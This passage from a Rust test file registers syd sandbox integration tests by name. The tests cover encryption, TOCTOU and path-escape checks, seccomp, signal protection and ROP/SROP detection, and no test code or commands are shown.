    test_entry!(test_syd_appendonly_prevent_pwritev2_2),
    test_entry!(test_syd_appendonly_prevent_pwritev2_3),
    test_entry!(test_syd_appendonly_prevent_pwritev2_4),
    test_entry!(test_syd_appendonly_prevent_pwritev2_5),
    test_entry!(test_syd_appendonly_prevent_pwritev2_6),
    test_entry!(test_syd_appendonly_prevent_mmap_1),
    test_entry!(test_syd_appendonly_prevent_mmap_2),
    test_entry!(test_syd_appendonly_prevent_mmap_3),
    test_entry!(test_syd_appendonly_prevent_mmap_4),
    test_entry!(test_syd_appendonly_prevent_mmap_5),
    test_entry!(test_syd_appendonly_prevent_mmap_6),
    test_entry!(test_syd_appendonly_prevent_fallocate_1),
    test_entry!(test_syd_appendonly_prevent_fallocate_2),
    test_entry!(test_syd_crypt_prevent_append_change),
    test_entry!(test_syd_crypt_ftruncate_deny),
    test_entry!(test_syd_crypt_ftruncate_allow),
    test_entry!(test_syd_mask_simple),
    test_entry!(test_syd_mask_target),
    test_entry!(test_syd_mask_target_dir_override),
    test_entry!(test_syd_truncate),
    test_entry!(test_syd_truncate64),
    test_entry!(test_syd_ftruncate),
    test_entry!(test_syd_ftruncate64),
    test_entry!(test_syd_exp_fallocate64),
    test_entry!(test_syd_kcapi_hash_block),
    test_entry!(test_syd_kcapi_hash_stream),
    test_entry!(test_syd_kcapi_cipher_block),
    test_entry!(test_syd_crypt_bit_flip_header),
    test_entry!(test_syd_crypt_bit_flip_auth_tag),
    test_entry!(test_syd_crypt_bit_flip_iv),
    test_entry!(test_syd_crypt_bit_flip_ciphertext),
    test_entry!(test_syd_crypt_sandboxing_file_modes),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_nano_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_single_cmp_rand_copy),
    test_entry!(test_syd_crypt_sandboxing_single_aes_rand_copy),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_rand_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_rand_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_fuzz_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_fuzz_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_cmp_zero_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_append_aes_zero_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_single_cmp_null_copy),
    test_entry!(test_syd_crypt_sandboxing_single_aes_null_copy),
    test_entry!(test_syd_restart_on_panic_read),
    test_entry!(test_syd_restart_on_panic_exec),
    test_entry!(test_syd_restart_on_panic_chdir),
    test_entry!(test_syd_exit_wait_default),
    test_entry!(test_syd_exit_wait_default_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_pid),
    test_entry!(test_syd_exit_wait_pid_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_pid_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_pid_unsafe_ptrace_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all),
    test_entry!(test_syd_exit_wait_all_unsafe_ptrace),
    test_entry!(test_syd_exit_wait_all_with_runaway_cmd_exec_process),
    test_entry!(test_syd_exit_wait_all_unsafe_ptrace_with_runaway_cmd_exec_process),
    test_entry!(test_syd_cli_args_override_user_profile),
    test_entry!(test_syd_ifconfig_loopback_bare),
    test_entry!(test_syd_ifconfig_loopback_wrap),
    test_entry!(test_syd_parse_elf_native),
    test_entry!(test_syd_parse_elf_32bit),
    test_entry!(test_syd_parse_elf_path),
    test_entry!(test_syd_deny_exec_elf32),
    test_entry!(test_syd_deny_exec_elf_dynamic),
    test_entry!(test_syd_deny_exec_elf_static),
    test_entry!(test_syd_deny_exec_script),
    test_entry!(test_syd_restrict_exec_script_default),
    test_entry!(test_syd_restrict_exec_script_unsafe),
    test_entry!(test_syd_restrict_exec_interactive_default),
    test_entry!(test_syd_restrict_exec_interactive_unsafe),
    test_entry!(test_syd_0_securebits_noroot),
    test_entry!(test_syd_0_securebits_no_setuid_fixup),
    test_entry!(test_syd_0_securebits_keep_caps),
    test_entry!(test_syd_0_securebits_no_cap_ambient_raise),
    test_entry!(test_syd_userns_securebits_noroot),
    test_entry!(test_syd_userns_securebits_no_setuid_fixup),
    test_entry!(test_syd_userns_securebits_keep_caps),
    test_entry!(test_syd_userns_securebits_no_cap_ambient_raise),
    test_entry!(test_syd_prevent_ld_linux_exec_break_default),
    test_entry!(test_syd_prevent_ld_linux_exec_break_unsafe_exec_ldso),
    test_entry!(test_syd_prevent_ld_linux_exec_break_unsafe_ptrace),
    test_entry!(test_syd_enforce_pie_dynamic),
    test_entry!(test_syd_enforce_pie_static),
    test_entry!(test_syd_enforce_execstack_dynamic),
    test_entry!(test_syd_enforce_execstack_static),
    test_entry!(test_syd_enforce_execstack_nested_routine),
    test_entry!(test_syd_enforce_execstack_self_modifying),
    test_entry!(test_syd_enforce_mprotect_self_modifying),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_noexec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_now_unsafe),
    test_entry!(test_syd_enforce_execstack_on_mmap_exec_rtld_lazy_unsafe),
    test_entry!(test_syd_enforce_execstack_multiple_gnu_stack_1),
    test_entry!(test_syd_enforce_execstack_multiple_gnu_stack_2),
    test_entry!(test_syd_force_sandbox),
    test_entry!(test_syd_segvguard_core_safe_default),
    test_entry!(test_syd_segvguard_core_safe_kill),
    test_entry!(test_syd_segvguard_core_unsafe_default),
    test_entry!(test_syd_segvguard_core_unsafe_kill),
    test_entry!(test_syd_segvguard_suspension_safe),
    test_entry!(test_syd_segvguard_suspension_unsafe),
    test_entry!(test_syd_prevent_path_unhide_by_passthru),
    test_entry!(test_syd_magiclink_sandbox),
    test_entry!(test_syd_magiclink_linux),
    test_entry!(test_syd_magiclink_toctou),
    test_entry!(test_syd_symlink_toctou),
    test_entry!(test_syd_symlinkat_toctou),
    test_entry!(test_syd_symlink_exchange_toctou_mid),
    test_entry!(test_syd_symlink_exchange_toctou_root),
    test_entry!(test_syd_symlink_exchange_toctou_last),
    test_entry!(test_syd_ptrmod_toctou_chdir_1),
    test_entry!(test_syd_ptrmod_toctou_chdir_2),
    test_entry!(test_syd_ptrmod_toctou_exec_fail),
    test_entry!(test_syd_ptrmod_toctou_exec_binary_success_quick),
    test_entry!(test_syd_ptrmod_toctou_exec_binary_success_double_fork),
    test_entry!(test_syd_ptrmod_toctou_exec_binary_success_quick_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_exec_binary_success_double_fork_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_exec_script_success_quick),
    test_entry!(test_syd_ptrmod_toctou_exec_script_success_double_fork),
    test_entry!(test_syd_ptrmod_toctou_exec_script_success_quick_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_exec_script_success_double_fork_no_mitigation),
    test_entry!(test_syd_ptrmod_toctou_open),
    test_entry!(test_syd_ptrmod_toctou_creat),
    test_entry!(test_syd_ptrmod_toctou_opath_default),
    test_entry!(test_syd_ptrmod_toctou_opath_unsafe),
    test_entry!(test_syd_vfsmod_toctou_mmap),
    test_entry!(test_syd_vfsmod_toctou_fchdir),
    test_entry!(test_syd_vfsmod_toctou_cwd_rename),
    test_entry!(test_syd_exp_vfsmod_toctou_open_file_off),
    test_entry!(test_syd_exp_vfsmod_toctou_open_file_deny),
    test_entry!(test_syd_exp_vfsmod_toctou_open_path_off),
    test_entry!(test_syd_exp_vfsmod_toctou_open_path_deny),
    test_entry!(test_syd_exp_vfsmod_toctou_connect_unix),
    test_entry!(test_syd_seccomp_set_mode_strict_old),
    test_entry!(test_syd_seccomp_set_mode_strict_new),
    test_entry!(test_syd_seccomp_ret_trap_escape_strict),
    test_entry!(test_syd_seccomp_ret_trap_escape_unsafe),
    test_entry!(test_syd_seccomp_ioctl_notify_id_valid),
    test_entry!(test_syd_seccomp_ioctl_notify_set_flags),
    test_entry!(test_syd_seccomp_ioctl_notify_addfd),
    test_entry!(test_syd_seccomp_ioctl_notify_send),
    test_entry!(test_syd_seccomp_ioctl_notify_recv),
    test_entry!(test_syd_io_uring_escape_strict),
    test_entry!(test_syd_io_uring_escape_unsafe),
    test_entry!(test_syd_opath_escape),
    test_entry!(test_syd_devfd_escape_chdir),
    test_entry!(test_syd_devfd_escape_chdir_relpath_1),
    test_entry!(test_syd_devfd_escape_chdir_relpath_2),
    test_entry!(test_syd_devfd_escape_chdir_relpath_3),
    test_entry!(test_syd_devfd_escape_chdir_relpath_4),
    test_entry!(test_syd_devfd_escape_chdir_relpath_5),
    test_entry!(test_syd_devfd_escape_chdir_relpath_6),
    test_entry!(test_syd_devfd_escape_chdir_relpath_7),
    test_entry!(test_syd_devfd_escape_chdir_relpath_8),
    test_entry!(test_syd_devfd_escape_chdir_relpath_9),
    test_entry!(test_syd_devfd_escape_chdir_relpath_10),
    test_entry!(test_syd_devfd_escape_chdir_relpath_11),
    test_entry!(test_syd_devfd_escape_chdir_relpath_12),
    test_entry!(test_syd_devfd_escape_chdir_relpath_13),
    test_entry!(test_syd_devfd_escape_chdir_relpath_14),
    test_entry!(test_syd_devfd_escape_chdir_relpath_15),
    test_entry!(test_syd_devfd_escape_chdir_relpath_16),
    test_entry!(test_syd_devfd_escape_chdir_relpath_17),
    test_entry!(test_syd_devfd_escape_chdir_relpath_18),
    test_entry!(test_syd_devfd_escape_chdir_relpath_19),
    test_entry!(test_syd_devfd_escape_chdir_relpath_20),
    test_entry!(test_syd_devfd_escape_open),
    test_entry!(test_syd_devfd_escape_open_relpath_1),
    test_entry!(test_syd_devfd_escape_open_relpath_2),
    test_entry!(test_syd_devfd_escape_open_relpath_3),
    test_entry!(test_syd_devfd_escape_open_relpath_4),
    test_entry!(test_syd_devfd_escape_open_relpath_5),
    test_entry!(test_syd_devfd_escape_open_relpath_6),
    test_entry!(test_syd_devfd_escape_open_relpath_7),
    test_entry!(test_syd_devfd_escape_open_relpath_8),
    test_entry!(test_syd_devfd_escape_open_relpath_9),
    test_entry!(test_syd_devfd_escape_open_relpath_10),
    test_entry!(test_syd_devfd_escape_open_relpath_11),
    test_entry!(test_syd_devfd_escape_open_relpath_12),
    test_entry!(test_syd_devfd_escape_open_relpath_13),
    test_entry!(test_syd_devfd_escape_open_relpath_14),
    test_entry!(test_syd_devfd_escape_open_relpath_15),
    test_entry!(test_syd_devfd_escape_open_relpath_16),
    test_entry!(test_syd_devfd_escape_open_relpath_17),
    test_entry!(test_syd_devfd_escape_open_relpath_18),
    test_entry!(test_syd_devfd_escape_open_relpath_19),
    test_entry!(test_syd_devfd_escape_open_relpath_20),
    test_entry!(test_syd_procself_escape_chdir),
    test_entry!(test_syd_procself_escape_chdir_relpath_1),
    test_entry!(test_syd_procself_escape_chdir_relpath_2),
    test_entry!(test_syd_procself_escape_chdir_relpath_3),
    test_entry!(test_syd_procself_escape_chdir_relpath_4),
    test_entry!(test_syd_procself_escape_chdir_relpath_5),
    test_entry!(test_syd_procself_escape_chdir_relpath_6),
    test_entry!(test_syd_procself_escape_chdir_relpath_7),
    test_entry!(test_syd_procself_escape_open),
    test_entry!(test_syd_procself_escape_open_relpath_1),
    test_entry!(test_syd_procself_escape_open_relpath_2),
    test_entry!(test_syd_procself_escape_open_relpath_3),
    test_entry!(test_syd_procself_escape_open_relpath_4),
    test_entry!(test_syd_procself_escape_open_relpath_5),
    test_entry!(test_syd_procself_escape_open_relpath_6),
    test_entry!(test_syd_procself_escape_open_relpath_7),
    test_entry!(test_syd_procself_escape_relpath),
    test_entry!(test_syd_procself_escape_symlink),
    test_entry!(test_syd_procself_escape_symlink_within_container),
    test_entry!(test_syd_rmdir_escape_file),
    test_entry!(test_syd_rmdir_escape_dir),
    test_entry!(test_syd_rmdir_escape_fifo),
    test_entry!(test_syd_rmdir_escape_unix),
    test_entry!(test_syd_umask_bypass_077),
    test_entry!(test_syd_umask_bypass_277),
    test_entry!(test_syd_emulate_opath),
    test_entry!(test_syd_emulate_otmpfile),
    test_entry!(test_syd_honor_umask_000),
    test_entry!(test_syd_honor_umask_022),
    test_entry!(test_syd_honor_umask_077),
    test_entry!(test_syd_force_umask_bypass_with_open),
    test_entry!(test_syd_force_umask_bypass_with_mknod),
    test_entry!(test_syd_force_umask_bypass_with_mkdir),
    test_entry!(test_syd_force_umask_bypass_with_fchmod),
    test_entry!(test_syd_force_cloexec),
    test_entry!(test_syd_force_rand_fd),
    test_entry!(test_syd_force_ro_open),
    test_entry!(test_syd_force_no_xdev),
    test_entry!(test_syd_open_utf8_invalid_default),
    test_entry!(test_syd_open_utf8_invalid_unsafe),
    test_entry!(test_syd_exec_in_inaccessible_directory),
    test_entry!(test_syd_fstat_on_pipe),
    test_entry!(test_syd_fstat_on_socket),
    test_entry!(test_syd_fstat_on_deleted_file),
    test_entry!(test_syd_fstat_on_tmpfile),
    test_entry!(test_syd_fchmodat_on_proc_fd),
    test_entry!(test_syd_linkat_on_fd),
    test_entry!(test_syd_block_ioctl_tiocsti_default),
    test_entry!(test_syd_block_ioctl_tiocsti_dynamic),
    test_entry!(test_syd_block_ioctl_tiocsti_sremadd),
    test_entry!(test_syd_block_ioctl_tiocsti_sremove),
    test_entry!(test_syd_block_ioctl_tiocsti_dremove),
    test_entry!(test_syd_ioctl_dynamic_allow_deny_precedence),
    test_entry!(test_syd_ioctl_remove_deny_blacklist),
    test_entry!(test_syd_prevent_ptrace_detect_1),
    test_entry!(test_syd_prevent_ptrace_detect_2),
    test_entry!(test_syd_prevent_ptrace_detect_3),
    test_entry!(test_syd_prevent_ptrace_detect_4),
    test_entry!(test_syd_kill_during_syscall),
    test_entry!(test_syd_open_toolong_path),
    test_entry!(test_syd_open_null_path),
    test_entry!(test_syd_openat2_path_linux),
    test_entry!(test_syd_openat2_path_unsafe),
    test_entry!(test_syd_openat2_path_sydbox),
    test_entry!(test_syd_utimensat_null),
    test_entry!(test_syd_utimensat_symlink),
    test_entry!(test_syd_normalize_path),
    test_entry!(test_syd_path_resolution),
    test_entry!(test_syd_remove_empty_path),
    test_entry!(test_syd_symlink_readonly_path),
    test_entry!(test_syd_open_trailing_slash),
    test_entry!(test_syd_openat_trailing_slash),
    test_entry!(test_syd_lstat_trailing_slash),
    test_entry!(test_syd_fstatat_trailing_slash),
    test_entry!(test_syd_mkdir_symlinks),
    test_entry!(test_syd_mkdir_trailing_dot),
    test_entry!(test_syd_mkdirat_trailing_dot),
    test_entry!(test_syd_rmdir_trailing_slashdot),
    test_entry!(test_syd_rmdir_trailing_slash_with_symlink),
    test_entry!(test_syd_mkdir_eexist_escape),
    test_entry!(test_syd_mkdirat_eexist_escape),
    test_entry!(test_syd_mknod_eexist_escape),
    test_entry!(test_syd_mknodat_eexist_escape),
    test_entry!(test_syd_fopen_supports_mode_e),
    test_entry!(test_syd_fopen_supports_mode_x),
    test_entry!(test_syd_link_no_symlink_deref),
    test_entry!(test_syd_link_posix),
    test_entry!(test_syd_linkat_posix),
    test_entry!(test_syd_cp_overwrite),
    test_entry!(test_syd_getcwd_long_default),
    test_entry!(test_syd_getcwd_long_paludis),
    test_entry!(test_syd_pwd_long_default),
    test_entry!(test_syd_pwd_long_paludis),
    test_entry!(test_syd_creat_thru_dangling_default),
    test_entry!(test_syd_creat_thru_dangling_unsafe),
    test_entry!(test_syd_creat_excl_thru_dangling),
    test_entry!(test_syd_mkdirat_non_dir_fd),
    test_entry!(test_syd_blocking_udp4),
    test_entry!(test_syd_blocking_udp6),
    test_entry!(test_syd_close_on_exec),
    test_entry!(test_syd_open_exclusive_restart),
    test_entry!(test_syd_open_exclusive_repeat),
    test_entry!(test_syd_find_root_mount_1),
    test_entry!(test_syd_find_root_mount_2),
    test_entry!(test_syd_setsid_detach_tty),
    test_entry!(test_syd_pty_dev_console_1),
    test_entry!(test_syd_pty_dev_console_2),
    test_entry!(test_syd_pty_dev_tty_1),
    test_entry!(test_syd_pty_dev_tty_2),
    test_entry!(test_syd_pty_dev_ptmx),
    test_entry!(test_syd_pty_io_rust),
    test_entry!(test_syd_pty_io_gawk),
    test_entry!(test_syd_pty_sandbox),
    test_entry!(test_syd_diff_dev_fd),
    test_entry!(test_syd_fifo_multiple_readers),
    test_entry!(test_syd_bind_unix_socket),
    test_entry!(test_syd_peercred_unix_abs_socket),
    test_entry!(test_syd_peercred_unix_dom_socket),
    test_entry!(test_syd_readlinkat_proc_self_default),
    test_entry!(test_syd_readlinkat_proc_self_unsafe),
    test_entry!(test_syd_readlinkat_proc_self_unix_default),
    test_entry!(test_syd_readlinkat_proc_self_unix_unsafe),
    test_entry!(test_syd_readlink_truncate_proc_self),
    test_entry!(test_syd_readlink_truncate_proc_thread_self),
    test_entry!(test_syd_readlink_truncate_proc_pid_exe),
    test_entry!(test_syd_getdents64_truncate),
    test_entry!(test_syd_signal_protection_simple_landlock),
    test_entry!(test_syd_signal_protection_simple_killprot),
    test_entry!(test_syd_signal_protection_killpg_0_landlock),
    test_entry!(test_syd_signal_protection_killpg_0_killprot_default),
    test_entry!(test_syd_signal_protection_killpg_0_killprot_unsafe),
    test_entry!(test_syd_signal_protection_killpg_self_landlock),
    test_entry!(test_syd_signal_protection_killpg_self_killprot_default),
    test_entry!(test_syd_signal_protection_killpg_self_killprot_unsafe),
    test_entry!(test_syd_signal_protection_killpg_syd_landlock),
    test_entry!(test_syd_signal_protection_killpg_syd_killprot_default),
    test_entry!(test_syd_signal_protection_killpg_syd_killprot_unsafe),
    test_entry!(test_syd_signal_protection_mass_0_landlock),
    test_entry!(test_syd_signal_protection_mass_0_killprot_default),
    test_entry!(test_syd_signal_protection_mass_0_killprot_unsafe),
    test_entry!(test_syd_signal_protection_mass_int_landlock),
    test_entry!(test_syd_signal_protection_mass_int_killprot_default),
    test_entry!(test_syd_signal_protection_mass_int_killprot_unsafe),
    test_entry!(test_syd_exp_signal_protection_bare_kill_one),
    test_entry!(test_syd_exp_signal_protection_bare_sigqueue_one),
    test_entry!(test_syd_exp_signal_protection_bare_tkill_one),
    test_entry!(test_syd_exp_signal_protection_pidns_kill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_kill_one),
    test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_all),
    test_entry!(test_syd_exp_signal_protection_pidns_sigqueue_one),
    test_entry!(test_syd_exp_signal_protection_pidns_tgkill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tgsigqueue_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tkill_all),
    test_entry!(test_syd_exp_signal_protection_pidns_tkill_one),
    test_entry!(test_syd_exp_emulate_open_fifo),
    test_entry!(test_syd_interrupt_fifo_eintr_linux),
    test_entry!(test_syd_interrupt_fifo_eintr_syd),
    test_entry!(test_syd_interrupt_fifo_restart_linux),
    test_entry!(test_syd_interrupt_fifo_restart_syd),
    test_entry!(test_syd_interrupt_fifo_oneshot_eintr_linux),
    test_entry!(test_syd_interrupt_fifo_oneshot_eintr_syd),
    test_entry!(test_syd_interrupt_fifo_oneshot_restart_linux),
    test_entry!(test_syd_interrupt_fifo_oneshot_restart_syd),
    test_entry!(test_syd_interrupt_pthread_sigmask),
    test_entry!(test_syd_interrupt_kill),
    test_entry!(test_syd_deny_magiclinks),
    test_entry!(test_syd_open_magiclinks_1),
    test_entry!(test_syd_open_magiclinks_2),
    test_entry!(test_syd_open_magiclinks_3),
    test_entry!(test_syd_open_magiclinks_4),
    test_entry!(test_syd_lstat_magiclinks),
    test_entry!(test_syd_access_unsafe_paths_per_process_default),
    test_entry!(test_syd_access_unsafe_paths_per_process_sydinit),
    test_entry!(test_syd_prevent_block_device_access),
    test_entry!(test_syd_access_proc_cmdline),
    test_entry!(test_syd_mkdir_with_control_chars_default),
    test_entry!(test_syd_mkdir_with_control_chars_unsafe),
    test_entry!(test_syd_touch_with_control_chars_default),
    test_entry!(test_syd_touch_with_control_chars_unsafe),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_cwd_allow),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_cwd_deny),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_dir_allow),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_dir_deny),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_path_allow),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_path_deny),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_dir_path_allow),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_dir_path_deny),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_symlink_allow),
    #[cfg(not(target_os = "android"))]
    test_entry!(test_syd_fanotify_mark_symlink_deny),
    test_entry!(test_syd_inotify_add_watch_path_allow),
    test_entry!(test_syd_inotify_add_watch_path_deny),
    test_entry!(test_syd_inotify_add_watch_symlink_allow),
    test_entry!(test_syd_inotify_add_watch_symlink_deny),
    test_entry!(test_syd_utsname_host),
    test_entry!(test_syd_utsname_domain),
    test_entry!(test_syd_utsname_version),
    test_entry!(test_syd_unshare_net_set_up_loopback),
    test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gro_max),
    test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gso_max),
    test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gro_ipv4_max),
    test_entry!(test_syd_unshare_net_set_bigtcp_loopback_gso_ipv4_max),
    test_entry!(test_syd_unshare_user_bypass_limit),
    test_entry!(test_syd_stat_after_delete_reg_1),
    test_entry!(test_syd_stat_after_delete_reg_2),
    test_entry!(test_syd_stat_after_delete_dir_1),
    test_entry!(test_syd_stat_after_delete_dir_2),
    test_entry!(test_syd_stat_after_delete_dir_3),
    test_entry!(test_syd_stat_after_rename_reg_1),
    test_entry!(test_syd_stat_after_rename_reg_2),
    test_entry!(test_syd_stat_after_rename_dir_1),
    test_entry!(test_syd_stat_after_rename_dir_2),
    test_entry!(test_syd_stat_after_rename_dir_3),
    test_entry!(test_syd_stat_after_rename_dir_4),
    test_entry!(test_syd_profile_user_list_proc_self_fd),
    test_entry!(test_syd_exp_interrupt_mkdir),
    test_entry!(test_syd_exp_interrupt_bind_ipv4),
    test_entry!(test_syd_exp_interrupt_bind_unix),
    test_entry!(test_syd_exp_interrupt_connect_ipv4),
    //FIXME: This test should be done better.
    //test_entry!(test_syd_repetitive_clone),
    test_entry!(test_syd_ROP_linux),
    test_entry!(test_syd_ROP_default),
    test_entry!(test_syd_ROP_unsafe_exec_null),
    test_entry!(test_syd_ROP_unsafe_ptrace),
    test_entry!(test_syd_SROP_linux),
    test_entry!(test_syd_SROP_default),
    test_entry!(test_syd_SROP_unsafe),
    test_entry!(test_syd_SROP_detect_genuine_sigreturn),
    test_entry!(test_syd_SROP_detect_artificial_sigreturn_default),
    test_entry!(test_syd_SROP_detect_artificial_sigreturn_unsafe),
    test_entry!(test_syd_SROP_false_positive_1),
    test_entry!(test_syd_pid_fork_kill),
    test_entry!(test_syd_pid_thread_kill),
    test_entry!(test_syd_pid_fork_bomb),
    test_entry!(test_syd_pid_fork_bomb_asm),
    test_entry!(test_syd_pid_thread_bomb),
    test_entry!(test_syd_mem_alloc_deny),
    test_entry!(test_syd_mem_alloc_kill),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_1),
    test_entry!(test_syd_exp_mem_stress_ng_malloc_2),
    test_entry!(test_syd_exp_mem_stress_ng_mmap),
    test_entry!(test_syd_exp_pid_stress_ng_kill),
    test_entry!(test_syd_exp_pid_stress_ng_allow),
    test_entry!(test_syd_exp_pid_stress_ng_fork),
    test_entry!(test_syd_exp_crypt_stress_ng),
    test_entry!(test_syd_exp_trinity),
    test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_1),
    test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_2),
    test_entry!(test_syd_proc_set_at_secure_test_native_static_1),
    test_entry!(test_syd_proc_set_at_secure_test_native_static_2),
    test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_pie_1),
    test_entry!(test_syd_proc_set_at_secure_test_native_dynamic_pie_2),
    test_entry!(test_syd_proc_set_at_secure_test_native_static_pie_1),
    test_entry!(test_syd_proc_set_at_secure_test_native_static_pie_2),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_1),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_2),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_static_1),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_static_2),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_pie_1),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_dynamic_pie_2),
    test_entry!(test_syd_proc_set_at_secure_test_32bit_static_pie_1),
